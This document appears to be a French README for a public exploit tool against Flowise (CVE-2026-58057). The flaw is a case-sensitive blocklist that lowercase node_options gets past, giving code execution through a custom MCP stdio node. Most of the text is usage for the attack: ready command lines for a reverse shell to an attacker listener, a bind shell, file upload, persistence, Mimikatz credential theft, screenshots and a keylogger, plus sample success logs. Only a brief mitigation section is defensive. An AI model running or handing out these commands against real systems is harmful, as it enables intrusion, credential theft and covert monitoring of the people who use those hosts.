Exploit RCE Windows pour Flowise, ciblant CVE-2026-58057. Contourne la validation des variables d'environnement grâce à une faille de sensibilité à la casse. Utilise node_options pour injecter du code arbitraire via MCP stdio. Prend en charge le reverse shell, la persistance, le téléversement de fichiers et l'extraction d'identifiants. Réservé aux tests de sécurité autorisés.
Cet outil est un exploit de qualité production pour CVE-2026-58057, une vulnérabilité critique d'exécution de code à distance dans Flowise sur les plateformes Windows. La vulnérabilité provient d'une validation des variables d'environnement sensible à la casse qui ne bloque pas la forme minuscule node_options, permettant aux attaquants de contourner la liste noire NODE_OPTIONS et d'exécuter du code arbitraire via la configuration stdio des MCP personnalisés.
L'exploit illustre des pratiques professionnelles de génie logiciel avec une architecture modulaire, une gestion complète des erreurs et la prise en charge de multiples types de charges utiles.
IMPORTANT: Cet outil est fourni uniquement pour des tests de sécurité autorisés, des tests d'intrusion et à des fins éducatives. L'auteur n'est pas responsable de toute utilisation abusive ou de tout dommage causé par ce logiciel. Obtenez toujours une autorisation appropriée avant de tester un système.
# Vulnerable Validation (Case-Sensitive )
dangerous = {"PATH", "LD_LIBRARY_PATH", "DYLD_LIBRARY_PATH", "NODE_OPTIONS"}
if key in dangerous: # Only blocks exact uppercase match
raise ValueError(f"Modification not allowed")
L'attaquant s'authentifie sur Flowise
Crée/modifie un nœud stdio MCP personnalisé
Injecte la variable d'environnement node_options en minuscules
Définit la valeur sur --require malicious-loader.js
Node.js exécute le chargeur lorsque le MCP stdio s'exécute
Exécution de code arbitraire obtenue
✅ Reverse Shell - Connexion de retour vers la machine de l'attaquant
✅ Bind Shell - Ouvre un port d'écoute sur la cible
✅ Exécution de commandes - Exécute des commandes système arbitraires
✅ Upload de fichiers - Transfère des fichiers vers le système cible
✅ Persistance - Plusieurs mécanismes de persistance
✅ Collecte d'informations - Recueille des informations sur le système
✅ Extraction d'identifiants - Intégration Mimikatz
✅ Capture d'écran - Capture les captures d'écran du bureau
✅ Keylogger - Installe une capacité d'enregistrement des frappes clavier
🔐 Méthodes d'authentification multiples - Clé API ou nom d'utilisateur/mot de passe
🔄 Logique de nouvelle tentative automatique - Résiliente face aux problèmes réseau
🧹 Auto-nettoyage - Supprime les fichiers chargeurs de la cible
🌐 Multi-plateforme - Fonctionne sur Windows/Linux/macOS
🎨 Sortie colorée - Lisibilité améliorée
📊 Débogage verbeux - Journalisation détaillée pour le dépannage
Python 3.6 ou supérieur
pip (gestionnaire de paquets Python)
# Clone repository
git clone https://github.com/CerberusMrXi/Flowise-CVE-2026-58057-exploit
cd Flowise-CVE-2026-58057-exploit
# Install dependencies
pip install -r requirements.txt
# Or minimal installation
pip install requests urllib3
FROM python:3.9-alpine
RUN apk add --no-cache gcc musl-dev
COPY requirements.txt .
RUN pip install --no-cache-dir -r requirements.txt
COPY exploit.py .
ENTRYPOINT ["python3", "exploit.py"]
python3 exploit.py --help
| Option | Description | Exemple |
|---|---|---|
-t, --target | URL de Flowise (obligatoire) | http://localhost:3000 |
-k, --api-key | Clé API Flowise | flowise_abc123... |
-u, --username | Nom d'utilisateur | admin |
-p, --password | Mot de passe | password123 |
| Option | Description | Exemple |
|---|---|---|
--payload | Type de charge utile | reverse_shell |
--lhost | Hôte de l'écouteur | 192.168.1.100 |
--lport | Port de l'écouteur | 4444 |
--command | Commande à exécuter | whoami |
--local-file | Fichier à téléverser | payload.exe |
--remote-path | Chemin d'enregistrement distant | C:\\Temp\\update.exe |
| Option | Description |
|---|---|
--interactive | Démarrer un shell interactif |
--verbose | Activer la sortie de débogage |
--timeout | Délai d'expiration des requêtes en secondes |
--retries | Nombre de tentatives |
python3 exploit.py -t http://192.168.1.100:3000 -k YOUR_API_KEY \
--payload reverse_shell \
--lhost 192.168.1.50 \
--lport 4444
python3 exploit.py -t http://192.168.1.100:3000 -u admin -p password \
--payload reverse_shell \
--lhost 192.168.1.50 \
--lport 4444 \
--interactive
python3 exploit.py -t http://192.168.1.100:3000 -k YOUR_API_KEY \
--payload command_exec \
--command "whoami"
python3 exploit.py -t http://192.168.1.100:3000 -k YOUR_API_KEY \
--payload file_upload \
--local-file /path/to/payload.exe \
--remote-path "C:\\ProgramData\\update.exe"
python3 exploit.py -t http://192.168.1.100:3000 -k YOUR_API_KEY \
--payload mimikatz
python3 exploit.py -t http://192.168.1.100:3000 -k YOUR_API_KEY \
--payload persistence
python3 exploit.py -t http://192.168.1.100:3000 -u admin -p password \
--payload info_gather
python3 exploit.py -t http://192.168.1.100:3000 -k YOUR_API_KEY \
--payload screenshot
| Charge utile | Description | Arguments |
|---|---|---|
reverse_shell | Connexion de retour vers l'écouteur | --lhost, --lport |
bind_shell | Ouvre un port d'écoute | --lport |
command_exec | Exécute une commande | --command |
file_upload | Téléverse un fichier vers la cible | --local-file, --remote-path |
persistence | Installe la persistance | Aucun |
info_gather | Collecte les informations système | Aucun |
mimikatz | Extrait les identifiants | Aucun |
screenshot | Capture une capture d'écran | Aucun |
keylogger | Installe un keylogger | Aucun |
# Upgrade to version 3.1.3 or later
npm install -g flowise@latest
# or
docker pull flowiseai/flowise:latest
Restreindre l'accès à la configuration des MCP personnalisés
Mettre en œuvre la segmentation du réseau
Surveiller les variables d'environnement suspectes
Utiliser un pare-feu applicatif web (WAF)
# Fixed Validation (Case-Insensitive)
dangerous = {"PATH", "LD_LIBRARY_PATH", "DYLD_LIBRARY_PATH", "NODE_OPTIONS"}
if key.upper() in dangerous: # Case-insensitive check
raise ValueError(f"Modification not allowed")
[14:32:15] ℹ Starting exploit sequence...
[14:32:15] ℹ Attempting authentication...
[14:32:16] ✓ Authenticated with API key
[14:32:16] ℹ Preparing reverse_shell payload execution...
[14:32:16] ℹ Injecting environment variable...
[14:32:17] ℹ Triggering payload execution...
[14:32:19] ✓ Payload 'reverse_shell' executed successfully!
[14:32:19] ℹ Reverse shell listener ready on 192.168.1.50:4444
[14:32:15] 🔍 Session created with retry strategy
[14:32:15] 🔍 Using existing workspace: ws_123456
[14:32:16] 🔍 Loader written: /tmp/loader_1234_1234567890.js
[14:32:16] 🔍 MCP stdio configuration updated
| Problème | Solution |
|---|---|
| Erreur de certificat SSL | pip install --trusted-host pypi.org -r requirements.txt |
| Permission refusée | pip install --user -r requirements.txt |
| Connexion refusée | Vérifier l'URL cible et la connectivité réseau |
| Échec de l'authentification | Vérifier la clé API ou le nom d'utilisateur/mot de passe |
| Échec de la charge utile | Utiliser --verbose pour un débogage détaillé |
| Version Python | S'assurer que Python 3.6+ est installé |
# Enable verbose logging
python3 exploit.py -t http://localhost:3000 -k API_KEY --verbose
# Test connectivity
curl -k https://localhost:3000/api/v1/version
# Check Python version
python3 --version
flowise-CVE-2026-58057-exploit/
├── exploit.py # Main exploit script
├── requirements.txt # Core dependencies
├── README.md # This documentation
├── LICENSE # MIT License
└── CHANGELOG.md # Version history
Fork du dépôt
Créer une branche de fonctionnalité (git checkout -b feature/amazing)
Valider les modifications (git commit -m 'Add amazing feature')
Pousser vers la branche (git push origin feature/amazing)
Ouvrir une Pull Request
Ce projet est sous licence MIT - voir le fichier LICENSE pour plus de détails.
FlowiseAI pour le produit
Les chercheurs en sécurité qui ont découvert des vulnérabilités similaires
La communauté des tests d'intrusion pour les méthodologies de test
Auteur : Sudeepa Wanigarathna Chercheur en sécurité et testeur d'intrusion
Si vous trouvez cet outil utile, pensez à :
⭐ Mettre une étoile sur le dépôt GitHub
🔔 Suivre pour les mises à jour
📝 Signaler les problèmes ou suggestions
Fait avec ❤️ pour la communauté de la sécurité